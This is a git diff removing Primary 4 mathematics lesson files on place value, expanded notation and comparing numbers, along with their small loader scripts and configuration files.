-     <td style="text-align: center;" colspan="3" width="17%" valign="top">
-      <br />
-      UNITS
-      <br />
-      <div style="text-align: center;">
-      </div>
-     </td>
-    </tr>
-    <tr>
-     <td style="text-align: center;" width="17%" valign="top">
-      HUNDREDS
-      <br />
-     </td>
-     <td style="text-align: center;" width="17%" valign="top">
-      TENS
-      <br />
-     </td>
-     <td style="text-align: center;" width="17%" valign="top">
-      ONES
-      <br />
-     </td>
-     <td style="text-align: center;" width="17%" valign="top">
-      HUNDREDS
-      <br />
-     </td>
-     <td style="text-align: center;" width="17%" valign="top">
-      TENS
-      <br />
-     </td>
-     <td style="text-align: center;" width="17%" valign="top">
-      ONES
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td style="text-align: center;" width="17%" valign="top">
-      <br />
-     </td>
-     <td style="text-align: center;" width="17%" valign="top">
-      <br />
-     </td>
-     <td style="text-align: center;" width="17%" valign="top">
-      3
-      <br />
-     </td>
-     <td style="text-align: center;" width="17%" valign="top">
-      4
-      <br />
-     </td>
-     <td style="text-align: center;" width="17%" valign="top">
-      2
-      <br />
-     </td>
-     <td style="text-align: center;" width="17%" valign="top">
-      4
-      <br />
-     </td>
-    </tr>
-   </tbody>
-  </table>
- </li>
-</ul>
-<p>
- From the table above the place value of each digit in the number 98165 can be shown like this :
- <br />
- 9 is the place value of ten thousands
- <br />
- 8 is the place value of one thousands
- <br />
- 1 is the place value of hundreds
- <br />
- 6 is the place value of tens
- <br />
- 5 is the place value of ones
- <br />
- <br />
- 9 8 1 6 5
- <br />
- | | | | |_____________________ones
- <br />
- | | | |_______________________tens
- <br />
- | | |_________________________hundreds
- <br />
- | |___________________________thousands
- <br />
- |_____________________________ten thousands
- <br />
- <br />
- <br />
-</p>
-<h4>
- Example2
-</h4>
-<p>
- write in expanded form
-</p>
-<p>
- 1) 8543
- <br />
- <br />
- <span style="font-weight: bold;">
-  Solution
- </span>
- <br />
- <br />
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td style="text-align: center;" width="25%" valign="top">
-    thousands
-    <br />
-   </td>
-   <td style="text-align: center;" width="25%" valign="top">
-    hundreds
-    <br />
-   </td>
-   <td style="text-align: center;" width="25%" valign="top">
-    tens
-    <br />
-   </td>
-   <td style="text-align: center;" width="25%" valign="top">
-    ones
-   </td>
-  </tr>
-  <tr>
-   <td style="text-align: center;" width="25%" valign="top">
-    8
-    <br />
-   </td>
-   <td style="text-align: center;" width="25%" valign="top">
-    5
-    <br />
-   </td>
-   <td style="text-align: center;" width="25%" valign="top">
-    4
-    <br />
-   </td>
-   <td style="text-align: center;" width="25%" valign="top">
-    3
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- <br />
- So 8543 =8 thousands 5hundreds 4 tens 3 ones
- <br />
- <br />
- This can be written in value form as follows:
- <br />
- <br />
- 8543=(8*1000)+(5*100)+(4*10)+(3*1)
- <br />
- <br />
- 2) 3968=(3*1000)+(9*100)+(6*10)+(8*1)
- <br />
- <br />
- <br />
- 3)write in figures
- <br />
- <br />
- 4 ten thousands +2 thousands +1 hundreds +6 tens + 5 ones
- <br />
- <span style="font-weight: bold;">
-  Solution
-  <br />
- </span>
- this is done by putting its digits into place value table
- <span style="font-weight: bold;">
-  <br />
- </span>
- <br />
- <br />
-</p>
-<table style="width: 582px; height: 89px;" border="1">
- <tbody>
-  <tr>
-   <td style="text-align: center;" width="25%" valign="top">
-    ten thousands
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    thousands
-   </td>
-   <td style="text-align: center;" width="25%" valign="top">
-    hundreds
-    <br />
-   </td>
-   <td style="text-align: center;" width="25%" valign="top">
-    tens
-    <br />
-   </td>
-   <td style="text-align: center;" width="25%" valign="top">
-    ones
-   </td>
-  </tr>
-  <tr>
-   <td style="text-align: center;" width="25%" valign="top">
-    4
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    2
-    <br />
-   </td>
-   <td style="text-align: center;" width="25%" valign="top">
-    1
-    <br />
-   </td>
-   <td style="text-align: center;" width="25%" valign="top">
-    6
-    <br />
-   </td>
-   <td style="text-align: center;" width="25%" valign="top">
-    5
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- the number is : 42165
- <br />
- <br />
- this can also be done as follows:
- <br />
- <br />
- 24165=2*10000=20000
- <br />
- 4*1000 = 4000
- <br />
- 1*100 = 100
- <br />
- 6*10 = 60
- <br />
- 5*1 = 5
- <br />
- __________
- <br />
- 42165
- <br />
- 4) Students go out and count the number of all windows of all classrooms .
- <br />
- a) Write the number got in the exercise book in expanded form
- <br />
- b) Show the place value of each digit of that number
-</p>
-<h2>
- <span style="text-decoration: underline;">
-  Exercises
- </span>
-</h2>
-<p>
- <br />
- 1) What is the place value of 8 in the following numbers:
- <br />
- <br />
- a) 1850
- <br />
- b) 6854
- <br />
- c) 10082
- <br />
- d) 86135
- <br />
- e) 31128
- <br />
- f) 68007
- <br />
- <br />
- <br />
- 2) Use the expanded notation to write the numbers bellow:
- <br />
- <br />
- a) 36113
- <br />
- b) 40300
- <br />
- c) 76826
- <br />
- d) 89392
- <br />
- e) 95750
- <br />
- f) 73645
- <br />
- g) 2 thousands+ 3hundreds+ 4 tens+ 2 ones
- <br />
- h) 9 thousands+ 3hundreds+ 6 tens+ 5 ones
- <br />
- i) (7*1000)+ (3*100)+ (2*10)+ (3*1)
- <br />
- j) 2 thousands+ 3hundreds+ 4 tens+ 2 ones
- <br />
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m03/map411m03a03/a.txt b/Save_Mathematics/P4/map411m03/map411m03a03/a.txt
deleted file mode 100644
index 7e03c18..0000000
--- a/Save_Mathematics/P4/map411m03/map411m03a03/a.txt
+++ /dev/null
@@ -1,50 +0,0 @@
-<h2>
- <span style="text-decoration: underline;">
-  Exercises
- </span>
-</h2>
-<p>
- <br />
- 1) What is the place value of 8 in the following numbers:
- <br />
- <br />
- a) 1850
- <br />
- b) 6854
- <br />
- c) 10082
- <br />
- d) 86135
- <br />
- e) 31128
- <br />
- f) 68007
- <br />
- <br />
- <br />
- 2) Use the expanded notation to write the numbers bellow:
- <br />
- <br />
- a) 36113
- <br />
- b) 40300
- <br />
- c) 76826
- <br />
- d) 89392
- <br />
- e) 95750
- <br />
- f) 73645
- <br />
- g) 2 thousands+ 3hundreds+ 4 tens+ 2 ones
- <br />
- h) 9 thousands+ 3hundreds+ 6 tens+ 5 ones
- <br />
- i) (7*1000)+ (3*100)+ (2*10)+ (3*1)
- <br />
- j) 2 thousands+ 3hundreds+ 4 tens+ 2 ones
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m03/map411m03a03/description.py b/Save_Mathematics/P4/map411m03/map411m03a03/description.py
deleted file mode 100644
index ec7f912..0000000
--- a/Save_Mathematics/P4/map411m03/map411m03a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m03a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m03/map411m03a03/lesson.js b/Save_Mathematics/P4/map411m03/map411m03a03/lesson.js
deleted file mode 100644
index 5bec876..0000000
--- a/Save_Mathematics/P4/map411m03/map411m03a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m03/map411m03a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m03/map411m03a03/source.txt b/Save_Mathematics/P4/map411m03/map411m03a03/source.txt
deleted file mode 100644
index 7e03c18..0000000
--- a/Save_Mathematics/P4/map411m03/map411m03a03/source.txt
+++ /dev/null
@@ -1,50 +0,0 @@
-<h2>
- <span style="text-decoration: underline;">
-  Exercises
- </span>
-</h2>
-<p>
- <br />
- 1) What is the place value of 8 in the following numbers:
- <br />
- <br />
- a) 1850
- <br />
- b) 6854
- <br />
- c) 10082
- <br />
- d) 86135
- <br />
- e) 31128
- <br />
- f) 68007
- <br />
- <br />
- <br />
- 2) Use the expanded notation to write the numbers bellow:
- <br />
- <br />
- a) 36113
- <br />
- b) 40300
- <br />
- c) 76826
- <br />
- d) 89392
- <br />
- e) 95750
- <br />
- f) 73645
- <br />
- g) 2 thousands+ 3hundreds+ 4 tens+ 2 ones
- <br />
- h) 9 thousands+ 3hundreds+ 6 tens+ 5 ones
- <br />
- i) (7*1000)+ (3*100)+ (2*10)+ (3*1)
- <br />
- j) 2 thousands+ 3hundreds+ 4 tens+ 2 ones
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m03/map411m03a04/a.txt b/Save_Mathematics/P4/map411m03/map411m03a04/a.txt
deleted file mode 100644
index adf215a..0000000
--- a/Save_Mathematics/P4/map411m03/map411m03a04/a.txt
+++ /dev/null
@@ -1,160 +0,0 @@
-<p>
- 1) Show the place value of each digit in the following numbers:
-</p>
-<ul>
- <li>
-  5467
- </li>
- <li>
-  7364
- </li>
- <li>
-  12984
- </li>
- <li>
-  83746
- </li>
- <li>
-  435847
- </li>
- <li>
-  548374
- </li>
- <li>
-  630900
- </li>
- <li>
-  750949
- </li>
-</ul>
-<p>
- 2) Break those numbers into ten thousands,one thousands,hundreds,tens and ones by using place value table:
- <br />
- <br />
-</p>
-<ol>
- <li>
-  456
- </li>
- <li>
-  547
- </li>
- <li>
-  969
- </li>
- <li>
-  5348
- </li>
- <li>
-  6458
- </li>
- <li>
-  94673
- </li>
- <li>
-  24673
- </li>
- <li>
-  64647
- </li>
- <li>
-  43509
- </li>
- <li>
-  12345
- </li>
-</ol>
-<p>
- 3) Fill in the blanks with the correct answer:
- <br />
- <br />
-</p>
-<ul>
- <li>
-  7492 =7 thousands +-------hundreds+------tens+--------ones
- </li>
- <li>
-  9384 =--------thousands +-------hundreds+------8tens+--------ones
- </li>
- <li>
-  29384 =2 ten thousands +-----thousands+-----hundreds+------tens+-----ones
- </li>
- <li>
-  38745 =3------+ 8-----+7-----+ 4------+ 5ones
- </li>
- <li>
-  64785=6 ten thousands+---------+--------+---------+---------ones
- </li>
-</ul>
-<p>
- <br />
- 4) Our class has 32525 brics
-</p>
-<ul>
- <li>
-  Show the expanded form notation of that number
- </li>
- <li>
-  Show place value of each digit of that number
- </li>
-</ul>
-<p>
- <br />
- <br />
- 5) Out side the classroom students count all doors of the school and get a number x
-</p>
-<ul>
- <li>
-  write x in expanded form
- </li>
- <li>
-  Show the place value of all digits of x
- </li>
-</ul>
-<p>
- <br />
- 6) Write following numbers in expanded form
-</p>
-<ol>
- <li>
-  53
- </li>
- <li>
-  98
- </li>
- <li>
-  436
- </li>
- <li>
-  847
- </li>
- <li>
-  947
- </li>
- <li>
-  6473
- </li>
- <li>
-  9467
- </li>
- <li>
-  54638
- </li>
- <li>
-  84763
- </li>
- <li>
-  29759
- </li>
-</ol>
-<p>
- <br />
- 7) By using your laptops count the number of all activities of Mathematics P4 term1 and write that number in expanded form
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m03/map411m03a04/description.py b/Save_Mathematics/P4/map411m03/map411m03a04/description.py
deleted file mode 100644
index ebc1a8a..0000000
--- a/Save_Mathematics/P4/map411m03/map411m03a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m03a04',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m03/map411m03a04/lesson.js b/Save_Mathematics/P4/map411m03/map411m03a04/lesson.js
deleted file mode 100644
index 1a895bf..0000000
--- a/Save_Mathematics/P4/map411m03/map411m03a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m03/map411m03a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m03/map411m03a04/source.txt b/Save_Mathematics/P4/map411m03/map411m03a04/source.txt
deleted file mode 100644
index adf215a..0000000
--- a/Save_Mathematics/P4/map411m03/map411m03a04/source.txt
+++ /dev/null
@@ -1,160 +0,0 @@
-<p>
- 1) Show the place value of each digit in the following numbers:
-</p>
-<ul>
- <li>
-  5467
- </li>
- <li>
-  7364
- </li>
- <li>
-  12984
- </li>
- <li>
-  83746
- </li>
- <li>
-  435847
- </li>
- <li>
-  548374
- </li>
- <li>
-  630900
- </li>
- <li>
-  750949
- </li>
-</ul>
-<p>
- 2) Break those numbers into ten thousands,one thousands,hundreds,tens and ones by using place value table:
- <br />
- <br />
-</p>
-<ol>
- <li>
-  456
- </li>
- <li>
-  547
- </li>
- <li>
-  969
- </li>
- <li>
-  5348
- </li>
- <li>
-  6458
- </li>
- <li>
-  94673
- </li>
- <li>
-  24673
- </li>
- <li>
-  64647
- </li>
- <li>
-  43509
- </li>
- <li>
-  12345
- </li>
-</ol>
-<p>
- 3) Fill in the blanks with the correct answer:
- <br />
- <br />
-</p>
-<ul>
- <li>
-  7492 =7 thousands +-------hundreds+------tens+--------ones
- </li>
- <li>
-  9384 =--------thousands +-------hundreds+------8tens+--------ones
- </li>
- <li>
-  29384 =2 ten thousands +-----thousands+-----hundreds+------tens+-----ones
- </li>
- <li>
-  38745 =3------+ 8-----+7-----+ 4------+ 5ones
- </li>
- <li>
-  64785=6 ten thousands+---------+--------+---------+---------ones
- </li>
-</ul>
-<p>
- <br />
- 4) Our class has 32525 brics
-</p>
-<ul>
- <li>
-  Show the expanded form notation of that number
- </li>
- <li>
-  Show place value of each digit of that number
- </li>
-</ul>
-<p>
- <br />
- <br />
- 5) Out side the classroom students count all doors of the school and get a number x
-</p>
-<ul>
- <li>
-  write x in expanded form
- </li>
- <li>
-  Show the place value of all digits of x
- </li>
-</ul>
-<p>
- <br />
- 6) Write following numbers in expanded form
-</p>
-<ol>
- <li>
-  53
- </li>
- <li>
-  98
- </li>
- <li>
-  436
- </li>
- <li>
-  847
- </li>
- <li>
-  947
- </li>
- <li>
-  6473
- </li>
- <li>
-  9467
- </li>
- <li>
-  54638
- </li>
- <li>
-  84763
- </li>
- <li>
-  29759
- </li>
-</ol>
-<p>
- <br />
- 7) By using your laptops count the number of all activities of Mathematics P4 term1 and write that number in expanded form
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m03/map411m03a05/a.txt b/Save_Mathematics/P4/map411m03/map411m03a05/a.txt
deleted file mode 100644
index 2cda188..0000000
--- a/Save_Mathematics/P4/map411m03/map411m03a05/a.txt
+++ /dev/null
@@ -1,147 +0,0 @@
-<p>
- 1)Write the place value of each digit in the following numbers:
- <br />
- a) 237
- <br />
- b) 3815
- <br />
- c) 7020
- <br />
- d) 13706
- <br />
- e) 32456
- <br />
- f) 80198
- <br />
- <br />
- 2) copy and complete number sentences
- <br />
- a) 548=500+ ---------+8
- <br />
- b) 62750=6----+2------+7-----+-------
- <br />
- c) 832=---------+30+-----
- <br />
- d) 452=----------hundreds+--------tens+---------ones
- <br />
- <br />
- 3) Put the following numbers in expanded form:
- <br />
- <br />
-</p>
-<ul>
- <li>
-  3457
- </li>
- <li>
-  5467
- </li>
- <li>
-  2983
- </li>
- <li>
-  4927
- </li>
- <li>
-  27830
- </li>
- <li>
-  73649
- </li>
- <li>
-  19900
- </li>
- <li>
-  54698
- </li>
- <li>
-  84673
- </li>
- <li>
-  90000
- </li>
-</ul>
-<p>
- 4) White in figures which have been expanded:
- <br />
- <br />
-</p>
-<ol>
- <li>
-  (9*1000)+(5*100)+(4*10)+(7*1)
- </li>
- <li>
-  6 thousands + 4 hundreds+ 7tens +3ones
- </li>
- <li>
-  (3*10000)+(8*1000)+(4*100)+(3*10)+(2*1)
- </li>
- <li>
-  7ten thousands 4 thousands 5hundreds +8tens+3ones
- </li>
-</ol>
-<p>
- <br />
- 5) David's house consumed 657833 kg of cement
-</p>
-<ul>
- <li>
-  Write that number in expanded form
- </li>
- <li>
-  What is the place value of 6,7and 8 digits of that number
- </li>
-</ul>
-<p>
- <br />
- <br />
- 6) Count all milestones of mathematics of P4 by using your laptopsand write that number in expanded form; Show place value of each digit of that number
- <br />
- <br />
- <br />
- 7) For each of the following numbers :
-</p>
-<ol>
- <li>
-  635
- </li>
- <li>
-  837
- </li>
- <li>
-  293
- </li>
- <li>
-  192
- </li>
- <li>
-  999
- </li>
- <li>
-  6283
- </li>
- <li>
-  4321
- </li>
- <li>
-  73627
- </li>
- <li>
-  10009
- </li>
- <li>
-  50032
- </li>
-</ol>
-<ul>
- <li>
-  Show place value of each digit of each number
- </li>
- <li>
-  Write each number in expanded form
- </li>
-</ul>
-<p>
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m03/map411m03a05/description.py b/Save_Mathematics/P4/map411m03/map411m03a05/description.py
deleted file mode 100644
index bd28af5..0000000
--- a/Save_Mathematics/P4/map411m03/map411m03a05/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m03a05',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m03/map411m03a05/lesson.js b/Save_Mathematics/P4/map411m03/map411m03a05/lesson.js
deleted file mode 100644
index c82406e..0000000
--- a/Save_Mathematics/P4/map411m03/map411m03a05/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m03/map411m03a05/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m03/map411m03a05/source.txt b/Save_Mathematics/P4/map411m03/map411m03a05/source.txt
deleted file mode 100644
index 2cda188..0000000
--- a/Save_Mathematics/P4/map411m03/map411m03a05/source.txt
+++ /dev/null
@@ -1,147 +0,0 @@
-<p>
- 1)Write the place value of each digit in the following numbers:
- <br />
- a) 237
- <br />
- b) 3815
- <br />
- c) 7020
- <br />
- d) 13706
- <br />
- e) 32456
- <br />
- f) 80198
- <br />
- <br />
- 2) copy and complete number sentences
- <br />
- a) 548=500+ ---------+8
- <br />
- b) 62750=6----+2------+7-----+-------
- <br />
- c) 832=---------+30+-----
- <br />
- d) 452=----------hundreds+--------tens+---------ones
- <br />
- <br />
- 3) Put the following numbers in expanded form:
- <br />
- <br />
-</p>
-<ul>
- <li>
-  3457
- </li>
- <li>
-  5467
- </li>
- <li>
-  2983
- </li>
- <li>
-  4927
- </li>
- <li>
-  27830
- </li>
- <li>
-  73649
- </li>
- <li>
-  19900
- </li>
- <li>
-  54698
- </li>
- <li>
-  84673
- </li>
- <li>
-  90000
- </li>
-</ul>
-<p>
- 4) White in figures which have been expanded:
- <br />
- <br />
-</p>
-<ol>
- <li>
-  (9*1000)+(5*100)+(4*10)+(7*1)
- </li>
- <li>
-  6 thousands + 4 hundreds+ 7tens +3ones
- </li>
- <li>
-  (3*10000)+(8*1000)+(4*100)+(3*10)+(2*1)
- </li>
- <li>
-  7ten thousands 4 thousands 5hundreds +8tens+3ones
- </li>
-</ol>
-<p>
- <br />
- 5) David's house consumed 657833 kg of cement
-</p>
-<ul>
- <li>
-  Write that number in expanded form
- </li>
- <li>
-  What is the place value of 6,7and 8 digits of that number
- </li>
-</ul>
-<p>
- <br />
- <br />
- 6) Count all milestones of mathematics of P4 by using your laptopsand write that number in expanded form; Show place value of each digit of that number
- <br />
- <br />
- <br />
- 7) For each of the following numbers :
-</p>
-<ol>
- <li>
-  635
- </li>
- <li>
-  837
- </li>
- <li>
-  293
- </li>
- <li>
-  192
- </li>
- <li>
-  999
- </li>
- <li>
-  6283
- </li>
- <li>
-  4321
- </li>
- <li>
-  73627
- </li>
- <li>
-  10009
- </li>
- <li>
-  50032
- </li>
-</ol>
-<ul>
- <li>
-  Show place value of each digit of each number
- </li>
- <li>
-  Write each number in expanded form
- </li>
-</ul>
-<p>
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m03/map411m03a06/a.txt b/Save_Mathematics/P4/map411m03/map411m03a06/a.txt
deleted file mode 100644
index 9ec754a..0000000
--- a/Save_Mathematics/P4/map411m03/map411m03a06/a.txt
+++ /dev/null
@@ -1,36 +0,0 @@
-<p>
- 1) The area of Rwanda is 26338km
- <sup>
-  2
- </sup>
- . Find the expanded form of this number.
- <br />
- <br />
- 2) There are Twenty-five thousand and ninety-one varieties of plants in Akagera National Park . Find the expanded notation of that number.
- <br />
- <br />
- 3) Write the expanded form
-</p>
-<ul>
- <li>
-  seven thousand four hundred thirty-two
- </li>
- <li>
-  45637
- </li>
- <li>
-  65738
- </li>
- <li>
-  23464
- </li>
- <li>
-  63422
- </li>
-</ul>
-<p>
- 4) At home count the number of children of 3 families nearest of yours write that number in expanded form and show place values of digits of that number
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m03/map411m03a06/description.py b/Save_Mathematics/P4/map411m03/map411m03a06/description.py
deleted file mode 100644
index 9459c0a..0000000
--- a/Save_Mathematics/P4/map411m03/map411m03a06/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m03a06',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m03/map411m03a06/lesson.js b/Save_Mathematics/P4/map411m03/map411m03a06/lesson.js
deleted file mode 100644
index 68b1ea9..0000000
--- a/Save_Mathematics/P4/map411m03/map411m03a06/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m03/map411m03a06/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m03/map411m03a06/source.txt b/Save_Mathematics/P4/map411m03/map411m03a06/source.txt
deleted file mode 100644
index 9ec754a..0000000
--- a/Save_Mathematics/P4/map411m03/map411m03a06/source.txt
+++ /dev/null
@@ -1,36 +0,0 @@
-<p>
- 1) The area of Rwanda is 26338km
- <sup>
-  2
- </sup>
- . Find the expanded form of this number.
- <br />
- <br />
- 2) There are Twenty-five thousand and ninety-one varieties of plants in Akagera National Park . Find the expanded notation of that number.
- <br />
- <br />
- 3) Write the expanded form
-</p>
-<ul>
- <li>
-  seven thousand four hundred thirty-two
- </li>
- <li>
-  45637
- </li>
- <li>
-  65738
- </li>
- <li>
-  23464
- </li>
- <li>
-  63422
- </li>
-</ul>
-<p>
- 4) At home count the number of children of 3 families nearest of yours write that number in expanded form and show place values of digits of that number
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m04/activities.js b/Save_Mathematics/P4/map411m04/activities.js
deleted file mode 100755
index 8982a8f..0000000
--- a/Save_Mathematics/P4/map411m04/activities.js
+++ /dev/null
@@ -1,10 +0,0 @@
-var activities = [
-['1','1','map4','basic','map411m04a01','blue'],
-['2','2','map4','basic','map411m04a02','blue'],
-['3','3','map4','basic','map411m04a03','blue'],
-['4','4','map4','basic','map411m04a04','blue'],
-['5','5','map4','basic','map411m04a05','blue'],
-['6','6','map4','basic','map411m04a06','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P4/map411m04/map411m04a01/a.txt b/Save_Mathematics/P4/map411m04/map411m04a01/a.txt
deleted file mode 100644
index 77e50fe..0000000
--- a/Save_Mathematics/P4/map411m04/map411m04a01/a.txt
+++ /dev/null
@@ -1,90 +0,0 @@
-<p>
- 4 students Alice ,David ,Odette and Mathias went to the market to buy notbooks for starting new academic year.
- <br />
- Alice bought 24 notebooks
- <br />
- David bought 20 notebooks
- <br />
- Odette bought 18 notebooks
- <br />
- Mathias bought 28 notebooks .Who has got more notebooks than others? The answer is Mathias.
- <br />
- Who has got less notebooks than others? The answer is Odette.
- <br />
- We can find the answer by comparing the numbers of notebooks : 24 ,18 ,20 ,28 .
- <br />
- this is the reason why following exercises should be revised in the classroom before starting comparing and ordering course in the classroom.
- <br />
- <br />
- 1) Read and write following numbers in words.
- <br />
- <br />
-</p>
-<ol>
- <li>
-  536
- </li>
- <li>
-  827
- </li>
- <li>
-  282
- </li>
- <li>
-  746
- </li>
- <li>
-  101
- </li>
- <li>
-  123
- </li>
- <li>
-  6353
- </li>
- <li>
-  9272
- </li>
- <li>
-  3984
- </li>
- <li>
-  8374
- </li>
- <li>
-  12345
- </li>
- <li>
-  63523
- </li>
- <li>
-  90190
- </li>
- <li>
-  20988
- </li>
- <li>
-  40404
- </li>
-</ol>
-<h4>
- I nstruction Xo . Student has to say the symbols used comparing numbers .The symbol &lt; stands for less than. .The symbol = stands for equal to. .The symbol &gt; stands for greater than. .The symbol always points to the smaller number.
-</h4>
-<p>
- <br />
- When comparing numbers which don't have the same number of digits, the greater is one of more digits.
- <br />
- <br />
- eg: 43547&gt;435
- <br />
- 9999&gt;99
- <br />
- <br />
- If numbers have the same number of digits, we compare the first figures then the 2
- <sup>
-  nd
- </sup>
- ans so on starting from the left.
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m04/map411m04a01/description.py b/Save_Mathematics/P4/map411m04/map411m04a01/description.py
deleted file mode 100644
index ba8ee69..0000000
--- a/Save_Mathematics/P4/map411m04/map411m04a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m04a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m04/map411m04a01/lesson.js b/Save_Mathematics/P4/map411m04/map411m04a01/lesson.js
deleted file mode 100644
index fcb2819..0000000
--- a/Save_Mathematics/P4/map411m04/map411m04a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m04/map411m04a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m04/map411m04a01/source.txt b/Save_Mathematics/P4/map411m04/map411m04a01/source.txt
deleted file mode 100644
index 77e50fe..0000000
--- a/Save_Mathematics/P4/map411m04/map411m04a01/source.txt
+++ /dev/null
@@ -1,90 +0,0 @@
-<p>
- 4 students Alice ,David ,Odette and Mathias went to the market to buy notbooks for starting new academic year.
- <br />
- Alice bought 24 notebooks
- <br />
- David bought 20 notebooks
- <br />
- Odette bought 18 notebooks
- <br />
- Mathias bought 28 notebooks .Who has got more notebooks than others? The answer is Mathias.
- <br />
- Who has got less notebooks than others? The answer is Odette.
- <br />
- We can find the answer by comparing the numbers of notebooks : 24 ,18 ,20 ,28 .
- <br />
- this is the reason why following exercises should be revised in the classroom before starting comparing and ordering course in the classroom.
- <br />
- <br />
- 1) Read and write following numbers in words.
- <br />
- <br />
-</p>
-<ol>
- <li>
-  536
- </li>
- <li>
-  827
- </li>
- <li>
-  282
- </li>
- <li>
-  746
- </li>
- <li>
-  101
- </li>
- <li>
-  123
- </li>
- <li>
-  6353
- </li>
- <li>
-  9272
- </li>
- <li>
-  3984
- </li>
- <li>
-  8374
- </li>
- <li>
-  12345
- </li>
- <li>
-  63523
- </li>
- <li>
-  90190
- </li>
- <li>
-  20988
- </li>
- <li>
-  40404
- </li>
-</ol>
-<h4>
- I nstruction Xo . Student has to say the symbols used comparing numbers .The symbol &lt; stands for less than. .The symbol = stands for equal to. .The symbol &gt; stands for greater than. .The symbol always points to the smaller number.
-</h4>
-<p>
- <br />
- When comparing numbers which don't have the same number of digits, the greater is one of more digits.
- <br />
- <br />
- eg: 43547&gt;435
- <br />
- 9999&gt;99
- <br />
- <br />
- If numbers have the same number of digits, we compare the first figures then the 2
- <sup>
-  nd
- </sup>
- ans so on starting from the left.
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m04/map411m04a02/a.txt b/Save_Mathematics/P4/map411m04/map411m04a02/a.txt
deleted file mode 100644
index b65286f..0000000
--- a/Save_Mathematics/P4/map411m04/map411m04a02/a.txt
+++ /dev/null
@@ -1,257 +0,0 @@
-<p>
- Examples: Compare1 4 50 and 105 using &lt;,&gt;,=.
- <br />
- <span style="font-weight: bold;">
- </span>
- solution:1450 is more than 105 or
- <br />
- 1450 &gt; 105
- <br />
- Compare 4625 and 4812
- <br />
- 4625 &lt; 4815
- <br />
- Remember : We compare using place values
- <br />
- <br />
- <br />
-</p>
-<table border="1" width="1168" height="329">
- <tbody>
-  <tr>
-   <td colspan="3" width="17%" valign="top">
-    <h1>
-     Thousands
-    </h1>
-   </td>
-   <td colspan="3" width="17%" valign="top">
